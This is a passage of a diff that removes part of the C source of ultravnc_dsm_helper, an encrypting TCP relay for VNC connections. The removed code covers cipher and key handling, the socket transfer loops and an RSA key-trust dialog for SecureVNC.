- " exist the user is prompted whether to save the key or not (a MD5\n"
- " hash of it is shown) If 'keyfile' already exists the server key\n"
- " must match its contents or the connection is dropped.\n"
- "\n"
- " HOWEVER, if 'keyfile' ends in the string 'ClientAuth.pkey', then the\n"
- " normal SecureVNCPlugin client key authentication is performed.\n"
- " If you want to do both have 'keyfile' end with 'ClientAuth.pkey.rsa'\n"
- " that file will be used for the RSA keystore, and the '.rsa' will be\n"
- " trimmed off and the remaining name used as the Client Auth file.\n"
- "\n"
- " use '.' to have it try to guess the cipher from the keyfile name,\n"
- " e.g. 'arc4.key' implies arc4, 'rc4.key' implies msrc4, etc.\n"
- "\n"
- " use 'rev:arc4', etc. to reverse the roles of encrypter and decrypter.\n"
- " (i.e. if you want to use it for a vnc server, not vnc viewer)\n"
- "\n"
- " use 'noultra:...' to skip steps involving salt and IV to try to be\n"
- " compatible with UltraVNC DSM, i.e. assume a normal symmetric cipher\n"
- " at the other end.\n"
- "\n"
- " use 'noultra:rev:...' if both are to be supplied.\n"
- "\n"
- "\n"
- " keyfile: file holding the key (16 bytes for arc4 and aesv2, 87 for msrc4)\n"
- " E.g. dd if=/dev/random of=./my.key bs=16 count=1\n"
- " keyfile can also be pw=<string> to use \"string\" for the key.\n"
- " Or for 'securevnc' the RSA keystore and/or ClientAuth file.\n"
- "\n"
- "\n"
- " listenport: port to listen for incoming connection on. (use 0 to connect\n"
- " to stdio, use a negative value to force localhost listening)\n"
- "\n"
- "\n"
- " remotehost:port: host and port to connect to. (e.g. ultravnc server)\n"
- "\n"
- "\n"
- " Also: cipher may be cipher@n,m where n is the salt size and m is the\n"
- " initialization vector size. E.g. aesv2@8,16 Use n=-1 to disable salt\n"
- " and the MD5 hash (i.e. insert the keydata directly into the cipher.)\n"
- "\n"
- " Use cipher@md+n,m to change the message digest. E.g. arc4@sha+8,16\n"
- " Supported: 'md5', 'sha', 'sha1', 'ripemd160'.\n"
- "\n"
- "\n"
- " TCP Relay mode: to connect without any encryption use a cipher type of\n"
- " either 'relay' or 'none' (both are the equivalent):\n"
- "\n"
- " ultravnc_dsm_helper relay listenport remotehost:port\n"
- " ultravnc_dsm_helper none listenport remotehost:port\n"
- "\n"
- " where 'relay' or 'none' is a literal string.\n"
- " Note that for this mode no keyfile is suppled.\n"
- " Note that this mode can act as an IPv4 to IPv6 gateway.\n"
- "\n"
- " ultravnc_dsm_helper relay 8080 ipv6.beijing2008.cn:80\n"
- "\n"
- "\n"
- " SSL Show Certificate mode: Set the cipher to 'showcert' to fetch\n"
- " the SSL certificate from remotehost:port and print it to the stdout.\n"
- " No certificate authentication or verification is performed. E.g.\n"
- "\n"
- " ultravnc_dsm_helper showcert www.verisign.com:443\n"
- "\n"
- " (the output resembles that of 'openssl s_client ...') Set the env var\n"
- " ULTRAVNC_DSM_HELPER_SHOWCERT_ADH=1 for Anonymous Diffie Hellman mode.\n"
- "\n"
- "\n"
- " Looping Mode: Set the env. var. ULTRAVNC_DSM_HELPER_LOOP=1 to have it\n"
- " restart itself after every disconnection in an endless loop. It pauses\n"
- " 500 msec before restarting. Use ULTRAVNC_DSM_HELPER_LOOP=N to set the\n"
- " pause to N msec.\n"
- "\n"
- " You can also set the env. var. ULTRAVNC_DSM_HELPER_BG to have the\n"
- " program fork into the background for each connection, thereby acting\n"
- " as a simple daemon.\n"
-;
-
-/*
- * We can also run as a module included into x11vnc (-enc option)
- * The includer must set ENC_MODULE and ENC_HAVE_OPENSSL.
- *
- * Note that when running as a module we still assume we have been
- * forked off of the parent process and are communicating back to it
- * via a socket. So we *still* exit(3) at the end or on error. And
- * the global settings won't work.
- */
-#ifdef ENC_MODULE
-# define main __enc_main
-static char *prog = "enc_helper";
-#else
-# define ENC_HAVE_OPENSSL 1
-static char *prog = "ultravnc_dsm_helper";
-#endif
-
-/* unix includes */
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <fcntl.h>
-
-#include <string.h>
-#include <errno.h>
-#include <signal.h>
-
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#include <arpa/inet.h>
-#include <netdb.h>
-
-
-/* Solaris (sysv?) needs INADDR_NONE */
-#ifndef INADDR_NONE
-#define INADDR_NONE ((in_addr_t) 0xffffffff)
-#endif
-
-/* openssl includes */
-#if ENC_HAVE_OPENSSL
-#include <openssl/evp.h>
-#include <openssl/rand.h>
-#include <openssl/rsa.h>
-#include <openssl/err.h>
-#include <openssl/ssl.h>
-#include <openssl/rsa.h>
-static const EVP_CIPHER *Cipher;
-static const EVP_MD *Digest;
-#endif
-
-static char *cipher = NULL; /* name of cipher, e.g. "aesv2" */
-static int reverse = 0; /* listening connection */
-static int msrc4_sc = 0; /* enables workaround for SC I/II */
-static int noultra = 0; /* manage salt/iv differently from ultradsm */
-static int nomd = 0; /* use the keydata directly, no md5 or salt */
-static int pw_in = 0; /* pw=.... read in */
-
-
-/* The data that was read in from key file (or pw=password) */
-static char keydata[1024];
-static int keydata_len;
-
-/* Size of salt and IV; based on UltraVNC DSM */
-#define SALT 16
-#define MSRC4_SALT 11
-#define IVEC 16
-
-/* Set default values of salt and IV */
-static int salt_size = SALT;
-static int ivec_size = IVEC;
-
-/* To track parent and child pids */
-static pid_t parent, child;
-
-/* transfer buffer size */
-#define BSIZE 8192
-
-/* Some very verbose debugging stuff I enable for testing */
-#ifdef DBG
-# include "dbg.h"
-#else
-# define DEC_CT_DBG(p, n)
-# define DEC_PT_DBG(p, n)
-# define ENC_CT_DBG(p, n)
-# define ENC_PT_DBG(p, n)
-# define PRINT_IVEC
-# define PRINT_KEYDATA
-# define PRINT_KEYSTR_AND_FRIENDS
-# define PRINT_LOOP_DBG1
-# define PRINT_LOOP_DBG2
-# define PRINT_LOOP_DBG3
-#endif
-
-/* SecureVNCPlugin from: http://adamwalling.com/SecureVNC/ */
-#define SECUREVNC_RSA_PUBKEY_SIZE 270
-#define SECUREVNC_ENCRYPTED_KEY_SIZE 256
-#define SECUREVNC_SIGNATURE_SIZE 256
-#define SECUREVNC_KEY_SIZE 16
-#define SECUREVNC_RESERVED_SIZE 4
-#define SECUREVNC_RC4_DROP_BYTES 3072
-#define SECUREVNC_RAND_KEY_SOURCE 1024
-static int securevnc = 0;
-static int securevnc_arc4 = 0;
-static char *securevnc_file = NULL;
-
-static void enc_connections(int, char*, int);
-
-#if !ENC_HAVE_OPENSSL
-
-/* In case we are a module and there is no OpenSSL buildtime support */
-
-extern void enc_do(char *ciph, char *keyfile, char *lport, char *rhp) {
- fprintf(stderr, "%s: not compiled with OpenSSL\n", prog);
- exit(1);
-}
-
-#else
-
-#if defined(NO_EVP_aes_256_cfb) || (defined (__SVR4) && defined (__sun) && !defined(EVP_aes_256_cfb) && !defined(ASSUME_EVP_aes_256_cfb))
-/*
- * For Solaris 10 missing 192 & 256 bit crypto.
- * Note that EVP_aes_256_cfb is a macro.
- */
-#undef EVP_aes_256_cfb
-#define EVP_aes_256_cfb() EVP_aes_128_cfb(); {fprintf(stderr, "Not compiled with EVP_aes_256_cfb() 'aes256' support.\n"); exit(1);}
-#endif
-
-/* If we are a module, enc_do() is the only interface we export. */
-
-
-/* This works out key type & etc., reads key, calls enc_connections */
-
-extern void enc_do(char *ciph, char *keyfile, char *lport, char *rhp) {
-
- struct stat sb;
- char *q, *p, *connect_host;
- char tmp[16];
- int fd, len = 0, listen_port = 0, connect_port, mbits;
-
- q = ciph;
-
- /* check for noultra mode: */
- if (strstr(q, "noultra:") == q) {
- noultra = 1;
- q += strlen("noultra:");
- }
-
- /* check for reverse mode: */
- if (strstr(q, "rev:") == q) {
- reverse = 1;
- q += strlen("rev:");
- }
-
- /* work out which cipher and set Cipher to the selected one. */
- if (!strcasecmp(q, "msrc4")) {
- Cipher = EVP_rc4(); cipher = "msrc4";
-
- } else if (!strcasecmp(q, "msrc4_sc")) {
- Cipher = EVP_rc4(); cipher = "msrc4";
- msrc4_sc = 1; /* no salt/iv workaround */
-
- } else if (strstr(q, "arc4") == q) {
- Cipher = EVP_rc4(); cipher = "arc4";
-
- } else if (strstr(q, "aesv2") == q || strstr(q, "aes-ofb") == q) {
- Cipher = EVP_aes_128_ofb(); cipher = "aesv2";
-
- } else if (strstr(q, "aes-cfb") == q) {
- Cipher = EVP_aes_128_cfb(); cipher = "aes-cfb";
-
- } else if (strstr(q, "aes256") == q) {
- Cipher = EVP_aes_256_cfb(); cipher = "aes256";
-
- } else if (strstr(q, "blowfish") == q) {
- Cipher = EVP_bf_cfb(); cipher = "blowfish";
-
- } else if (strstr(q, "3des") == q) {
- Cipher = EVP_des_ede3_cfb(); cipher = "3des";
-
- } else if (strstr(q, "securevnc") == q) {
- Cipher = EVP_aes_128_ofb(); cipher = "securevnc";
- securevnc = 1;
-
- } else if (strstr(q, "none") == q || strstr(q, "relay") == q) {
- cipher = "none";
-
- } else if (strstr(q, "showcert") == q) {
- cipher = "showcert";
-
- } else if (strstr(q, ".") == q) {
- /* otherwise, try to guess cipher from key filename: */
- if (strstr(keyfile, "arc4.key")) {
- Cipher = EVP_rc4(); cipher = "arc4";
-
- } else if (strstr(keyfile, "rc4.key")) {
- Cipher = EVP_rc4(); cipher = "msrc4";
-
- } else if (strstr(keyfile, "aesv2.key")) {
- Cipher = EVP_aes_128_ofb(); cipher = "aesv2";
-
- } else if (strstr(keyfile, "aes-cfb.key")) {
- Cipher = EVP_aes_128_cfb(); cipher = "aes-cfb";
-
- } else if (strstr(keyfile, "aes256.key")) {
- Cipher = EVP_aes_256_cfb(); cipher = "aes256";
-
- } else if (strstr(keyfile, "blowfish.key")) {
- Cipher = EVP_bf_cfb(); cipher = "blowfish";
-
- } else if (strstr(keyfile, "3des.key")) {
- Cipher = EVP_des_ede3_cfb(); cipher = "3des";
-
- } else if (strstr(keyfile, "securevnc.")) {
- Cipher = EVP_aes_128_ofb(); cipher = "securevnc";
- securevnc = 1;
-
- } else {
- fprintf(stderr, "cannot figure out cipher, supply 'msrc4', 'arc4', or 'aesv2' ...\n");
- exit(1);
- }
- } else {
- fprintf(stderr, "cannot figure out cipher, supply 'msrc4', 'arc4', or 'aesv2' ...\n");
- exit(1);
- }
-
- /* set the default message digest (md5) */
- if (!securevnc) {
- Digest = EVP_md5();
- } else {
- Digest = EVP_sha1();
- }
-
- /*
- * Look for user specified salt and IV sizes at the end
- * ( ciph@salt,iv and ciph@[md+]salt,iv ):
- */
- p = strchr(q, '@');
- if (p) {
- int s, v;
- p++;
- if (strstr(p, "md5+") == p) {
- Digest = EVP_md5(); p += strlen("md5+");
- } else if (strstr(p, "sha+") == p) {
- Digest = EVP_sha(); p += strlen("sha+");
- } else if (strstr(p, "sha1+") == p) {
- Digest = EVP_sha1(); p += strlen("sha1+");
- } else if (strstr(p, "ripe+") == p) {
- Digest = EVP_ripemd160(); p += strlen("ripe+");
- } else if (strstr(p, "ripemd160+") == p) {
- Digest = EVP_ripemd160(); p += strlen("ripemd160+");
- }
- if (sscanf(p, "%d,%d", &s, &v) == 2) {
- /* cipher@n,m */
- if (-1 <= s && s <= SALT) {
- salt_size = s;
- } else {
- fprintf(stderr, "%s: invalid salt size: %d\n",
- prog, s);
- exit(1);
- }
- if (0 <= v && v <= EVP_MAX_IV_LENGTH) {
- ivec_size = v;
- } else {
- fprintf(stderr, "%s: invalid IV size: %d\n",
- prog, v);
- exit(1);
- }
- } else if (sscanf(p, "%d", &s) == 1) {
- /* cipher@n */
- if (-1 <= s && s <= SALT) {
- salt_size = s;
- } else {
- fprintf(stderr, "%s: invalid salt size: %d\n",
- prog, s);
- exit(1);
- }
- }
- if (salt_size == -1) {
- /* let salt = -1 mean skip both MD5 and salt */
- nomd = 1;
- salt_size = 0;
- }
- }
-
- /* port to listen on (0 => stdio, negative => localhost) */
- if (lport != NULL) {
- listen_port = atoi(lport);
- }
-
- /* extract remote hostname and port */
- q = strrchr(rhp, ':');
- if (q) {
- connect_port = atoi(q+1);
- *q = '\0';
- } else {
- /* otherwise guess VNC display 0 ... */
- connect_port = 5900;
- }
- connect_host = strdup(rhp);
-
- /* check for and read in the key file */
- memset(keydata, 0, sizeof(keydata));
-
- if (!strcmp(cipher, "none")) {
- goto readed_in;
- }
- if (!strcmp(cipher, "showcert")) {
- goto readed_in;
- }
-
- if (securevnc) {
- /* note the keyfile for rsa verification later */
- if (keyfile != NULL && strcasecmp(keyfile, "none")) {
- securevnc_file = keyfile;
- }
- goto readed_in;
- }
-
- if (stat(keyfile, &sb) != 0) {
- if (strstr(keyfile, "pw=") == keyfile) {
- /* user specified key/password on cmdline */
- int i;
- len = 0;
- pw_in = 1;
- for (i=0; i < (int) strlen(keyfile); i++) {
- /* load the string to keydata: */
- int n = i + strlen("pw=");
- keydata[i] = keyfile[n];
- if (keyfile[n] == '\0') break;
- len++;
- if (i > 100) break;
- }
- goto readed_in;
- }
- /* otherwise invalid file */
- perror("stat");
- exit(1);
- }
- if (sb.st_size > 1024) {
- fprintf(stderr, "%s: key file too big.\n", prog);
- exit(1);
- }
- fd = open(keyfile, O_RDONLY);
- if (fd < 0) {
- perror("open");
- exit(1);
- }
-
- /* read it all in */
- len = (int) read(fd, keydata, (size_t) sb.st_size);
- if (len != sb.st_size) {
- perror("read");
- fprintf(stderr, "%s, could not read key file.\n", prog);
- exit(1);
- }
- close(fd);
-
- readed_in:
-
-
- /* check for ultravnc msrc4 format 'rc4.key' */
- mbits = 0;
- if (strstr(keydata, "128 bit") == keydata) {
- mbits = 128;
- } else if (strstr(keydata, " 56 bit") == keydata) {
- mbits = 56;
- } else if (strstr(keydata, " 40 bit") == keydata) {
- mbits = 40;
- }
- if (mbits > 0) {
- /* 4 is for int key length, 12 is for BLOBHEADER. */
- int i, offset = strlen("xxx bit") + 4 + 12;
-
- /* the key is stored in reverse order! */
- len = mbits/8;
- for (i=0; i < len; i++) {
- tmp[i] = keydata[offset + len - i - 1];
- }
-
- /* clear keydata and then copy the reversed bytes there: */
- memset(keydata, 0, sizeof(keydata));
- memcpy(keydata, tmp, len);
- }
-
- keydata_len = len;
-
- /* initialize random */
- RAND_poll();
-
- /*
- * Setup connections, then transfer data when they are all
- * hooked up.
- */
- enc_connections(listen_port, connect_host, connect_port);
-}
-#endif
-
-static void enc_raw_xfer(int sock_fr, int sock_to) {
-
- unsigned char buf[BSIZE];
- unsigned char *psrc = NULL;
- int len, m, n = 0;
-
- /* zero the buffers */
- memset(buf, 0, BSIZE);
-
- /* now loop forever processing the data stream */
- while (1) {
- errno = 0;
-
- /* general case of loop, read some in: */
- n = read(sock_fr, buf, BSIZE);
-
- if (n == 0 || (n < 0 && errno != EINTR)) {
- /* failure to read any data, it is EOF or fatal error */
- int err = errno;
-
- /* debug output: */
- fprintf(stderr, "%s: input stream finished: n=%d, err=%d", prog, n, err);
-
- /* EOF or fatal error */
- break;
-
- } else if (n > 0) {
-
- /* write data to the other end: */
- len = n;
- psrc = buf;
- while (len > 0) {
- errno = 0;
- m = write(sock_to, psrc, len);
-
- if (m > 0) {
- /* scoot them by how much was written: */
- psrc += m;
- len -= m;
- }
- if (m < 0 && (errno == EINTR || errno == EAGAIN)) {
- /* interrupted or blocked */
- continue;
- }
- /* EOF or fatal error */
- break;
- }
- } else {
- /* this is EINTR */
- }
- }
-
- /* transfer done (viewer exited or some error) */
-
- fprintf(stderr, "\n%s: close sock_to\n", prog);
- close(sock_to);
-
- fprintf(stderr, "%s: close sock_fr\n", prog);
- close(sock_fr);
-
- /* kill our partner after 1 secs. */
- sleep(1);
- if (child) {
- if (kill(child, SIGTERM) == 0) {
- fprintf(stderr, "%s[%d]: killed my partner: %d\n",
- prog, (int) getpid(), (int) child);
- }
- } else {
- if (kill(parent, SIGTERM) == 0) {
- fprintf(stderr, "%s[%d]: killed my partner: %d\n",
- prog, (int) getpid(), (int) parent);
- }
- }
-}
-
-#if ENC_HAVE_OPENSSL
-/*
- * Initialize cipher context and then loop till EOF doing transfer &
- * encrypt or decrypt.
- */
-static void enc_xfer(int sock_fr, int sock_to, int encrypt) {
- /*
- * We keep both E and D aspects in case we revert back to a
- * single process calling select(2) on all fds...
- */
- unsigned char E_keystr[EVP_MAX_KEY_LENGTH];
- unsigned char D_keystr[EVP_MAX_KEY_LENGTH];
- EVP_CIPHER_CTX E_ctx, D_ctx;
- EVP_CIPHER_CTX *ctx = NULL;
-
- unsigned char buf[BSIZE], out[BSIZE];
- unsigned char *psrc = NULL, *keystr;
- unsigned char salt[SALT+1];
- unsigned char ivec_real[EVP_MAX_IV_LENGTH];
- unsigned char *ivec = ivec_real;
-
- int i, cnt, len, m, n = 0, vb = 0, first = 1;
- int whoops = 1; /* for the msrc4 problem */
- char *encstr, *encsym;
-
- /* zero the buffers */
- memset(buf, 0, BSIZE);
- memset(out, 0, BSIZE);
- memset(salt, 0, sizeof(salt));
- memset(ivec_real, 0, sizeof(ivec_real));
- memset(E_keystr, 0, sizeof(E_keystr));
- memset(D_keystr, 0, sizeof(D_keystr));
-
- if (!strcmp(cipher, "msrc4")) {
- salt_size = MSRC4_SALT; /* 11 vs. 16 */
- }
-
- if (msrc4_sc) {
- whoops = 1; /* force workaround in SC mode */
- }
-
- if (getenv("ENCRYPT_VERBOSE")) {
- vb = 1; /* let user turn on some debugging via env. var. */
- }
-
- /*
- * reverse mode, e.g. we help a vnc server instead of a viewer.
- */
- if (reverse) {
- encrypt = (!encrypt);
- }
- encstr = encrypt ? "encrypt" : "decrypt"; /* string for messages */
- encsym = encrypt ? "+" : "-";
-
- /* use the encryption/decryption context variables below */
- if (encrypt) {
- ctx = &E_ctx;
- keystr = E_keystr;
- } else {
- ctx = &D_ctx;
- keystr = D_keystr;
- }
-
- if (securevnc) {
- first = 0; /* no need for salt+iv on first time */
- salt_size = 0; /* we want no salt */
- n = 0; /* nothing read */
- ivec_size = 0; /* we want no IV. */
- ivec = NULL;
- } else if (encrypt) {
- /* encrypter initializes the salt and initialization vector */
-
- /*
- * Our salt is 16 bytes but I believe only the first 8
- * bytes are used by EVP_BytesToKey(3). Since we send it
- * to the other "plugin" we need to keep it 16. Also,
- * the IV size can depend on the cipher type. Again, 16.
- */
- RAND_bytes(salt, salt_size);
- RAND_bytes(ivec, ivec_size);
-
- /* place them in the send buffer: */
- memcpy(buf, salt, salt_size);
- memcpy(buf+salt_size, ivec, ivec_size);
-
- n = salt_size + ivec_size;
-
- ENC_PT_DBG(buf, n);
-
- } else {
- /* decrypter needs to read salt + iv from the wire: */
-
- /* sleep 100 ms (TODO: select on fd) */
- struct timeval tv;
- tv.tv_sec = 0;
- tv.tv_usec = 100 * 1000;
- select(1, NULL, NULL, NULL, &tv);
-
- if (salt_size+ivec_size == 0) {
- n = 0; /* no salt or iv, skip reading. */
- } else {
- n = read(sock_fr, buf, salt_size+ivec_size+96);
- }
- if (n == 0 && salt_size+ivec_size > 0) {
- fprintf(stderr, "%s: decrypt finished.\n", prog);
- goto finished;
- }
- if (n < salt_size+ivec_size) {
- if (msrc4_sc && n == 12) {
- fprintf(stderr, "%s: only %d bytes read. Assuming "
- "UVNC Single Click server.\n", prog, n);
- } else {
- if (n < 0) perror("read");
- fprintf(stderr, "%s: could not read enough for salt "
- "and ivec: n=%d\n", prog, n);
- goto finished;
- }
- }
-
- DEC_CT_DBG(buf, n);
-
- if (msrc4_sc && n == 12) {
- ; /* send it as is */
- } else {
- /* extract them to their buffers: */
- memcpy(salt, buf, salt_size);
- memcpy(ivec, buf+salt_size, ivec_size);
-
- /* the rest is some encrypted data: */
- n = n - salt_size - ivec_size;
- psrc = buf + salt_size + ivec_size;
-
- if (n > 0) {
- /*
- * copy it down to the start of buf for
- * sending below:
- */
- for (i=0; i < n; i++) {
- buf[i] = psrc[i];
- }
- }
- }
- }
-
- /* debug output */
- PRINT_KEYDATA;
- PRINT_IVEC;
-
- if (!strcmp(cipher, "msrc4")) {
- /* special cases for MSRC4: */
-
- if (whoops) {
- fprintf(stderr, "%s: %s - WARNING: MSRC4 mode and IGNORING random salt\n", prog, encstr);
- fprintf(stderr, "%s: %s - WARNING: and initialization vector!!\n", prog, encstr);
- EVP_CIPHER_CTX_init(ctx);
- if (pw_in) {
- /* for pw=xxxx a md5 hash is used */
- EVP_BytesToKey(Cipher, Digest, NULL, (unsigned char *) keydata,
- keydata_len, 1, keystr, NULL);
- EVP_CipherInit_ex(ctx, Cipher, NULL, keystr, NULL,
- encrypt);
- } else {
- /* otherwise keydata as is */
- EVP_CipherInit_ex(ctx, Cipher, NULL,
- (unsigned char *) keydata, NULL, encrypt);
- }
- } else {
- /* XXX might not be correct, just exit. */
- fprintf(stderr, "%s: %s - Not sure about msrc4 && !whoops case, exiting.\n", prog, encstr);
- exit(1);
-
- EVP_BytesToKey(Cipher, Digest, NULL, (unsigned char *) keydata,
- keydata_len, 1, keystr, ivec);
- EVP_CIPHER_CTX_init(ctx);
- EVP_CipherInit_ex(ctx, Cipher, NULL, keystr, ivec,
- encrypt);
- }
-
- } else {
- unsigned char *in_salt = NULL;
-
- /* check salt and IV source and size. */
- if (securevnc) {
- in_salt = NULL;
- } else if (salt_size <= 0) {
- /* let salt_size = 0 mean keep it out of the MD5 */
- fprintf(stderr, "%s: %s - WARNING: no salt\n",
- prog, encstr);
- in_salt = NULL;
- } else {
- in_salt = salt;
- }
-
- if (ivec_size < Cipher->iv_len && !securevnc) {
- fprintf(stderr, "%s: %s - WARNING: short IV %d < %d\n",
- prog, encstr, ivec_size, Cipher->iv_len);
- }
-
- /* make the hashed value and place in keystr */
-
- /*
- * XXX N.B.: DSM plugin had count=0, and overwrote ivec
- * by not passing NULL iv.
- */
-
- if (nomd) {
- /* special mode: no salt or md5, use keydata directly */
-
- int sz = keydata_len < EVP_MAX_KEY_LENGTH ?
- keydata_len : EVP_MAX_KEY_LENGTH;
-
- fprintf(stderr, "%s: %s - WARNING: no-md5 specified: ignoring salt & hash\n", prog, encstr);
- memcpy(keystr, keydata, sz);
-
- } else if (noultra && ivec_size > 0) {
- /* "normal" mode, don't overwrite ivec. */
-
- EVP_BytesToKey(Cipher, Digest, in_salt, (unsigned char *) keydata,
- keydata_len, 1, keystr, NULL);
-
- } else {
- /*
- * Ultra DSM compatibility mode. Note that this
- * clobbers the ivec we set up above! Under
- * noultra we overwrite ivec only if ivec_size=0.
- *
- * SecureVNC also goes through here. in_salt and ivec are NULL.
- * And ivec is NULL below in the EVP_CipherInit_ex() call.
- */
- EVP_BytesToKey(Cipher, Digest, in_salt, (unsigned char *) keydata,
- keydata_len, 1, keystr, ivec);
- }
-
-
- /* initialize the context */
- EVP_CIPHER_CTX_init(ctx);
-
-
- /* set the cipher & initialize */
-
- /*
- * XXX N.B.: DSM plugin implementation had encrypt=1
- * for both (i.e. perfectly symmetric)
- */
-
- EVP_CipherInit_ex(ctx, Cipher, NULL, keystr, ivec, encrypt);
- }
-
- if (securevnc && securevnc_arc4) {
- /* need to discard initial 3072 bytes */
- unsigned char buf1[SECUREVNC_RC4_DROP_BYTES];
- unsigned char buf2[SECUREVNC_RC4_DROP_BYTES];
- int cnt = 0;
- EVP_CipherUpdate(ctx, buf1, &cnt, buf2, SECUREVNC_RC4_DROP_BYTES);
- }
-
- /* debug output */
- PRINT_KEYSTR_AND_FRIENDS;
-
- /* now loop forever processing the data stream */
-
- while (1) {
- errno = 0;
- if (first && n > 0) {
- if (encrypt && msrc4_sc) {
- /* skip sending salt+iv */
- first = 0;
- continue;
- } else {
- /* use that first block of data placed in buf */
- }
- } else if (first && n == 0 && salt_size + ivec_size == 0) {
- first = 0;
- continue;
- } else {
- /* general case of loop, read some in: */
- n = read(sock_fr, buf, BSIZE);
- }
-
- /* debug output: */
- if (vb) fprintf(stderr, "%s%d/%d ", encsym, n, errno);
- PRINT_LOOP_DBG1;
-
- if (n == 0 || (n < 0 && errno != EINTR)) {
- /* failure to read any data, it is EOF or fatal error */
- int err = errno;
-
- /* debug output: */
- PRINT_LOOP_DBG2;
- fprintf(stderr, "%s: %s - input stream finished: n=%d, err=%d", prog, encstr, n, err);
-
- /* EOF or fatal error */
- break;
-
- } else if (n > 0) {
- /* we read in some data, now transform it: */
-
- if (first && encrypt) {
- /* first time, copy the salt and ivec to out[] for sending */
- memcpy(out, buf, n);
- cnt = n;
-
- } else if (!EVP_CipherUpdate(ctx, out, &cnt, buf, n)) {
- /* otherwise, we transform the data */
- fprintf(stderr, "%s: enc_xfer EVP_CipherUpdate failed.\n", prog);
- break;
- }
-
- /* debug output: */
- if (vb) fprintf(stderr, "%sc%d/%d ", encsym, cnt, n);
- PRINT_LOOP_DBG3;
-
- /* write transformed data to the other end: */
- len = cnt;
- psrc = out;
- while (len > 0) {
- errno = 0;
- m = write(sock_to, psrc, len);
-
- /* debug output: */
- if (vb) fprintf(stderr, "m%s%d/%d ", encsym, m, errno);
-
- if (m > 0) {
- /* scoot them by how much was written: */
- psrc += m;
- len -= m;
- }
- if (m < 0 && (errno == EINTR || errno == EAGAIN)) {
- /* interrupted or blocked */
- continue;
- }
- /* EOF or fatal error */
- break;
- }
- } else {
- /* this is EINTR */
- }
- first = 0;
- }
-
- /* transfer done (viewer exited or some error) */
- finished:
-
- fprintf(stderr, "\n%s: %s - close sock_to\n", prog, encstr);
- close(sock_to);
-
- fprintf(stderr, "%s: %s - close sock_fr\n", prog, encstr);
- close(sock_fr);
-
- /* kill our partner after 2 secs. */
- sleep(2);
- if (child) {
- if (kill(child, SIGTERM) == 0) {
- fprintf(stderr, "%s[%d]: %s - killed my partner: %d\n",
- prog, (int) getpid(), encstr, (int) child);
- }
- } else {
- if (kill(parent, SIGTERM) == 0) {
- fprintf(stderr, "%s[%d]: %s - killed my partner: %d\n",
- prog, (int) getpid(), encstr, (int) parent);
- }
- }
-}
-
-static int securevnc_server_rsa_save_dialog(char *file, char *md5str, unsigned char* rsabuf) {
- /* since we are likely running in the background, use this kludge by running tk */
- FILE *p;
- char str[2], *q = file, *cmd = getenv("WISH") ? getenv("WISH") : "wish";
- int rc;
-
- memset(str, 0, sizeof(str));
-
- p = popen(cmd, "w");
- if (p == NULL) {
- fprintf(stderr, "checkserver_rsa: could not run: %s\n", cmd);
- return 0;
- }
-
- /* start piping tk/tcl code to it: */
- fprintf(p, "wm withdraw .\n");
- fprintf(p, "set x [expr [winfo screenwidth .]/2]\n");
- fprintf(p, "set y [expr [winfo screenheight .]/2]\n");
- fprintf(p, "wm geometry . +$x+$y; update\n");
- fprintf(p, "catch {option add *Dialog.msg.font {helvetica -14 bold}}\n");
- fprintf(p, "catch {option add *Dialog.msg.wrapLength 6i}\n");
- fprintf(p, "set ans [tk_messageBox -title \"Save and Trust UltraVNC RSA Key?\" -icon question ");
- fprintf(p, "-type yesno -message \"Save and Trust UltraVNC SecureVNCPlugin RSA Key\\n\\n");
- fprintf(p, "With MD5 sum: %s\\n\\n", md5str);
- fprintf(p, "In file: ");
- while (*q != '\0') {
- /* sanitize user supplied string: */
- str[0] = *q;
- if (strpbrk(str, "[](){}`'\"$&*|<>") == NULL) {
- fprintf(p, "%s", str);
- }
- q++;
- }
- fprintf(p, " ?\"]\n");
- fprintf(p, "if { $ans == \"yes\" } {destroy .; exit 0} else {destroy .; exit 1}\n");
- rc = pclose(p);
- if (rc == 0) {
- fprintf(stderr, "checkserver_rsa: query returned: %d. saving it.\n", rc);
- p = fopen(file, "w");
- if (p == NULL) {
- fprintf(stderr, "checkserver_rsa: could not open %s\n", file);
- return 0;
- }
- write(fileno(p), rsabuf, SECUREVNC_RSA_PUBKEY_SIZE);
- fclose(p);
- return 2;
- } else {
- fprintf(stderr, "checkserver_rsa: query returned: %d. NOT saving it.\n", rc);
- return -1;
- }
-}
-
-static char *rsa_md5_sum(unsigned char* rsabuf) {
- EVP_MD_CTX md;
- char digest[EVP_MAX_MD_SIZE], tmp[16];
- char md5str[EVP_MAX_MD_SIZE * 8];
- unsigned int i, size = 0;
-
- EVP_DigestInit(&md, EVP_md5());
- EVP_DigestUpdate(&md, rsabuf, SECUREVNC_RSA_PUBKEY_SIZE);
- EVP_DigestFinal(&md, (unsigned char *)digest, &size);
-
- memset(md5str, 0, sizeof(md5str));
- for (i=0; i < size; i++) {
- unsigned char uc = (unsigned char) digest[i];
- sprintf(tmp, "%02x", (int) uc);
- strcat(md5str, tmp);
- }
- return strdup(md5str);
-}
-
-static int securevnc_check_server_rsa(char *file, unsigned char *rsabuf) {
- struct stat sb;
- unsigned char filebuf[SECUREVNC_RSA_PUBKEY_SIZE];
- char *md5str = rsa_md5_sum(rsabuf);
-
- if (!file) {
- return 0;
- }
-
- memset(filebuf, 0, sizeof(filebuf));
- if (stat(file, &sb) == 0) {
- int n, fd, i, ok = 1;
-
- if (sb.st_size != SECUREVNC_RSA_PUBKEY_SIZE) {
- fprintf(stderr, "checkserver_rsa: file is wrong size: %d != %d '%s'\n",
- (int) sb.st_size, SECUREVNC_RSA_PUBKEY_SIZE, file);
- return 0;
- }
-
- fd = open(file, O_RDONLY);
- if (fd < 0) {
- fprintf(stderr, "checkserver_rsa: could not open: '%s'\n", file);
- return 0;
- }
-
- n = (int) read(fd, filebuf, SECUREVNC_RSA_PUBKEY_SIZE);
- close(fd);
- if (n != SECUREVNC_RSA_PUBKEY_SIZE) {
- fprintf(stderr, "checkserver_rsa: could not read all of file: %d != %d '%s'\n",
- n, SECUREVNC_RSA_PUBKEY_SIZE, file);
- return 0;
- }
-
- for (i=0; i < SECUREVNC_RSA_PUBKEY_SIZE; i++) {
- if (filebuf[i] != rsabuf[i]) {
- ok = 0;
- }
- }
- if (!ok) {
- char *str1 = rsa_md5_sum(rsabuf);
- char *str2 = rsa_md5_sum(filebuf);
